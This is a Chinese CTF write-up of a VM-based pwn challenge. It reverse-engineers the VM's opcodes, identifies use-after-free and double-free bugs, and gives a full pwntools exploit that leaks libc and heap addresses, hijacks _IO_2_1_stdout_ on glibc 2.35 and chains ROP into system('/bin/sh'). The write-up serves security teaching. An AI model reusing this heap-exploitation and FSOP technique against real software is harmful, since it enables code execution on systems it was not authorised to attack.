记一次题型VM-软件系统安全赛-pwn-<vm>
字数 1280 2025-08-22 12:22:54

VM-PWN题型分析与解题教学

1. VM-PWN题型概述

VM-PWN是CTF比赛中常见的一种题型,出题人实现一个虚拟机(VM),允许攻击者编写opcode执行特定操作。这类题目通常有两种形式:

  1. VM套一层heap题
  2. VM本身存在漏洞点

本题属于第一种情况,通过编写opcode来执行add、delete、edit、show等堆操作。

2. VM核心组件分析

一个典型的VM包含以下元素:

  • opcode:虚拟机识别的操作码,是解题关键
  • reg:虚拟寄存器
  • 解释器:执行opcode的代码
  • 虚拟数据段:存储数据的内存区域
  • 虚拟栈空间:用于函数调用等操作

3. 题目逆向分析

3.1 初始设置

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) {
    init(a1, a2, a3);
    vmdata = mmap(0x64617461000LL, 0x30000uLL, 3, 34, -1, 0LL);
    vmcode = mmap(0x7063000, 0x10000uLL, 3, 34, -1, 0LL);
    mmap3 = mmap(0x73746163000LL, 0x20000uLL, 3, 34, -1, 0LL) + 0x10000;
    read_elf(&vmdata);
    VM(&vmdata);
}

程序初始化时创建了三个内存映射区域:

  1. vmdata:0x64617461000,大小0x30000
  2. vmcode:0x7063000,大小0x10000
  3. mmap3:0x73746163000 + 0x10000,大小0x20000

3.2 VM主循环

void __fastcall __noreturn VM(__int64 a1) {
    int v1; // eax
    _BYTE *s; // [rsp+18h] [rbp-8h]
    
    s = malloc(0xCuLL);
    memset(s, 0, 8uLL);
    do {
        if (menu(a1, s) == -1)
            break;
        v1 = *s & 3;
        if (v1 == 3) {
            function_3(a1, s);
        } else if ((*s & 3u) <= 3) {
            if (v1 == 2) {
                function_2(a1, s);
            } else if ((*s & 3) != 0) {
                function_1(a1, s);
            } else {
                function_0(a1, s);
            }
        }
        memset(s, 0, 0xCuLL);
        if (*(a1 + 8) <= 0x7062FFFuLL)
            break;
    } while (*(a1 + 8) <= 0x7162FFFuLL && *(a1 + 64) > 0x73746162FFFuLL && *(a1 + 64) <= 0x73746183000uLL);
    puts("Segment error");
    _exit(0);
}

VM主循环根据opcode的第一个字节的低2位决定执行哪个函数:

  • 0: function_0
  • 1: function_1
  • 2: function_2
  • 3: function_3

3.3 结构体修复

逆向时需要修复的关键结构体:

struct st {
    char b1;
    char b2;
    char b3;
    char b4;
    int int1;
    int int2;
};

3.4 opcode解析

opcode的解析方式由其第一个字节的低2位决定:

  1. 低2位=3

    // vmcode_3{
    // int1=char;
    // int2=qword;
    // }
    
  2. 低2位=2

    // vmcode_2{
    // int1=char;
    // int2=char;
    // }
    
  3. 低2位=1

    // vmcode_1{
    // int1=char;
    // }
    
  4. 低2位=0

    // vmcode_0{
    // char1;
    // char2;
    // char3;
    // }
    

3.5 function_3函数分析

function_3根据opcode第一个字节的高6位执行不同操作:

void fun_3(addr *a1, st *a2) {
    switch (a2->b1 >> 2) {
        case 1:
            // 比较操作
            break;
        case 2:
            // 比较操作
            break;
        case 3:
            a1->reg[a2->int1] = a2->int2; // mov reg, value
            break;
        case 4:
            a1->reg[a2->int1] ^= a2->int2; // xor reg, value
            break;
        case 5:
            a1->reg[a2->int1] |= a2->int2; // or reg, value
            break;
        case 6:
            a1->reg[a2->int1] &= a2->int2; // and reg, value
            break;
        case 7:
            a1->reg[a2->int1] <<= a2->int2; // shl reg, value
            break;
        case 8:
            a1->reg[a2->int1] >>= a2->int2; // shr reg, value
            break;
        case 10:
            a1->reg[a2->int1] += a2->int2; // add reg, value
            break;
        case 11:
            a1->reg[a2->int1] -= a2->int2; // sub reg, value
            break;
        case 12:
            // 从数据段读取到寄存器
            break;
        case 13:
            // 从数据段读取到寄存器
            break;
        case 14:
            // 从数据段读取到寄存器
            break;
        case 15:
            // 将值写入数据段
            break;
        case 16:
            // 将值写入数据段
            break;
        case 17:
            // 将值写入数据段
            break;
        case 35:
            // 特殊操作
            break;
        default:
            return;
    }
}

4. 堆漏洞分析

通过逆向发现程序中存在堆操作函数,包括:

  • 分配堆块
  • 释放堆块
  • 编辑堆块内容
  • 显示堆块内容

关键漏洞点:

  • UAF (Use After Free):释放后仍可使用
  • Double Free:可以多次释放同一堆块

5. 利用思路

  1. 泄露libc地址

    • 分配大chunk并释放,使其进入unsorted bin
    • 通过show功能泄露main_arena地址
  2. 泄露heap地址

    • 利用UAF泄露堆地址
  3. 劫持控制流

    • 由于题目使用glibc 2.35,没有__free_hook等传统劫持点
    • 选择劫持_IO_2_1_stdout_结构体
    • 构造ROP链调用system("/bin/sh")

6. 完整利用代码

#!/usr/bin/python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

def fun_case(fun, case):
    return p8((case << 2) | (fun & 3))

def fun_0(case, int1):
    return fun_case(0, case) + p8(int1 // 0x10000) + p8((int1 // 0x100) & 0xff) + p8(int1 & 0xff)

def fun_3(case, int1, int2):
    return fun_case(3, case) + p8(int1) + p64(int2)

def set_reg(reg, vule):
    return fun_3(3, reg, vule)

def show_bss(off, size):
    ret = set_reg(0, 1)
    ret += set_reg(1, off)
    ret += set_reg(2, size)
    ret += fun_0(0x35, 1)
    return ret

def read_bss(off, size):
    ret = set_reg(0, 0)
    ret += set_reg(1, off)
    ret += set_reg(2, size)
    ret += fun_0(0x35, 0)
    return ret

def add(size):
    str1 = set_reg(0, size)
    str2 = fun_0(0x33, 3)
    return str1 + str2

def free(idx):
    str1 = set_reg(0, idx)
    str2 = fun_0(0x33, 4)
    return str1 + str2

def edit(idx, size):
    ret = show_bss(7, 5)  # 输出'input'
    ret += read_bss(0x100, size)
    ret += set_reg(0, idx)
    ret += set_reg(1, 0x100)
    ret += set_reg(2, size)
    ret += fun_0(0x33, 5)
    return ret

def show(idx, size):
    ret = show_bss(0x12, 9)  # 输出'opcodes:\n'
    ret += set_reg(0, idx)
    ret += set_reg(1, 0x500)
    ret += set_reg(2, size)
    ret += fun_0(0x33, 6)
    ret += show_bss(0x500, size)
    return ret

# 1. 泄露libc地址
payload = add(0x458)  # chunk 0
payload += add(0x3f8)  # chunk 1
payload += add(0x3f8)  # chunk 2
payload += free(0)
payload += free(1)
payload += free(2)
payload += add(0x458)  # chunk 3
payload += show(3, 8)
payload += show(1, 8)
payload += edit(2, 8)
payload += add(0x3f8)  # chunk 4
payload += add(0x3f8)  # chunk 5
payload += edit(5, 0x180)
payload += edit(0, 0x3f8)
payload += fun_3(0, 1 << 6, 0)

p = process('./vm')
sla("Please input your opcodes:\n", payload)

def edi_payload(idx, size, payload):
    sa("input", payload.ljust(size, b'\x00'))
    print(f"=== edit chunk [{idx}] ===")

def leak_addr():
    ru("opcodes:\n")
    addr = u64(rv(8))
    print(f"=== get_addr: {hex(addr)} ===")
    return addr

# 泄露libc和heap地址
libc = leak_addr() - (0x7fab61481ce0 - 0x7fab61267000)
heap = leak_addr() << 12
log.info(f"libc: {hex(libc)}")
log.info(f"heap: {hex(heap)}")

# 计算关键地址
IO_stdout = libc + 0x21b780
IO_wfile_jumps = libc + 0x2170c0
system = libc + 0x050d70
rdi = libc + 0x000000000002a3e5
rsi = libc + 0x000000000002be51
rdx = libc + 0x0000000000170337
leave = libc + 0x000000000004da83
ret = leave + 1

# 构造ROP链
rop = p64(rdi) + p64(heap + 0x2c0) + p64(ret) + p64(system)

# 劫持_IO_2_1_stdout_
edi_payload(2, 0x8, p64((IO_stdout) ^ (heap + 0xb70) >> 12))
edi_payload(5, 0x180, p64(0xfbad2084) + rop.ljust(0x80, b'\x00') + 
            p64(heap + 0x2d0) + b'\x00'*0x10 + p64(heap + 0x2c0 + 0x100) + 
            b'\x00'*0x30 + p64(IO_wfile_jumps - 0x20))

# 写入/bin/sh和ROP链
edi_payload(0, 0x3f8, b'/bin/sh\x00' + b'\x00'*(0x100 + 0xe0 - 8) + 
            p64(heap + 0x2c0 + 0x200) + b'\x00'*(0x18 + 0x68) + p64(leave))

# 获取shell
p.interactive()

7. 关键点总结

  1. 结构体修复:逆向时需要正确识别VM使用的结构体,特别是opcode解析相关的部分。

  2. opcode理解:理解不同opcode的格式和功能是解题的基础。

  3. 漏洞定位:通过逆向找到堆操作函数,并分析其中的漏洞。

  4. 利用策略

    • 在glibc 2.35下,传统hook不可用,需要寻找其他劫持点
    • 选择劫持IO结构体是比较通用的方法
    • 构造ROP链时注意栈布局
  5. 调试技巧

    • 使用gdb调试VM执行流程
    • 在关键点设置断点观察内存状态
    • 验证泄露的地址是否正确

通过系统性地分析VM结构、理解opcode功能、定位漏洞点并设计利用链,可以成功解决这类VM-PWN题目。

VM-PWN题型分析与解题教学 1. VM-PWN题型概述 VM-PWN是CTF比赛中常见的一种题型,出题人实现一个虚拟机(VM),允许攻击者编写opcode执行特定操作。这类题目通常有两种形式: VM套一层heap题 VM本身存在漏洞点 本题属于第一种情况,通过编写opcode来执行add、delete、edit、show等堆操作。 2. VM核心组件分析 一个典型的VM包含以下元素: opcode :虚拟机识别的操作码,是解题关键 reg :虚拟寄存器 解释器 :执行opcode的代码 虚拟数据段 :存储数据的内存区域 虚拟栈空间 :用于函数调用等操作 3. 题目逆向分析 3.1 初始设置 程序初始化时创建了三个内存映射区域: vmdata:0x64617461000,大小0x30000 vmcode:0x7063000,大小0x10000 mmap3:0x73746163000 + 0x10000,大小0x20000 3.2 VM主循环 VM主循环根据opcode的第一个字节的低2位决定执行哪个函数: 0: function_ 0 1: function_ 1 2: function_ 2 3: function_ 3 3.3 结构体修复 逆向时需要修复的关键结构体: 3.4 opcode解析 opcode的解析方式由其第一个字节的低2位决定: 低2位=3 : 低2位=2 : 低2位=1 : 低2位=0 : 3.5 function_ 3函数分析 function_ 3根据opcode第一个字节的高6位执行不同操作: 4. 堆漏洞分析 通过逆向发现程序中存在堆操作函数,包括: 分配堆块 释放堆块 编辑堆块内容 显示堆块内容 关键漏洞点: UAF (Use After Free) :释放后仍可使用 Double Free :可以多次释放同一堆块 5. 利用思路 泄露libc地址 : 分配大chunk并释放,使其进入unsorted bin 通过show功能泄露main_ arena地址 泄露heap地址 : 利用UAF泄露堆地址 劫持控制流 : 由于题目使用glibc 2.35,没有__ free_ hook等传统劫持点 选择劫持_ IO_ 2_ 1_ stdout_ 结构体 构造ROP链调用system("/bin/sh") 6. 完整利用代码 7. 关键点总结 结构体修复 :逆向时需要正确识别VM使用的结构体,特别是opcode解析相关的部分。 opcode理解 :理解不同opcode的格式和功能是解题的基础。 漏洞定位 :通过逆向找到堆操作函数,并分析其中的漏洞。 利用策略 : 在glibc 2.35下,传统hook不可用,需要寻找其他劫持点 选择劫持IO结构体是比较通用的方法 构造ROP链时注意栈布局 调试技巧 : 使用gdb调试VM执行流程 在关键点设置断点观察内存状态 验证泄露的地址是否正确 通过系统性地分析VM结构、理解opcode功能、定位漏洞点并设计利用链,可以成功解决这类VM-PWN题目。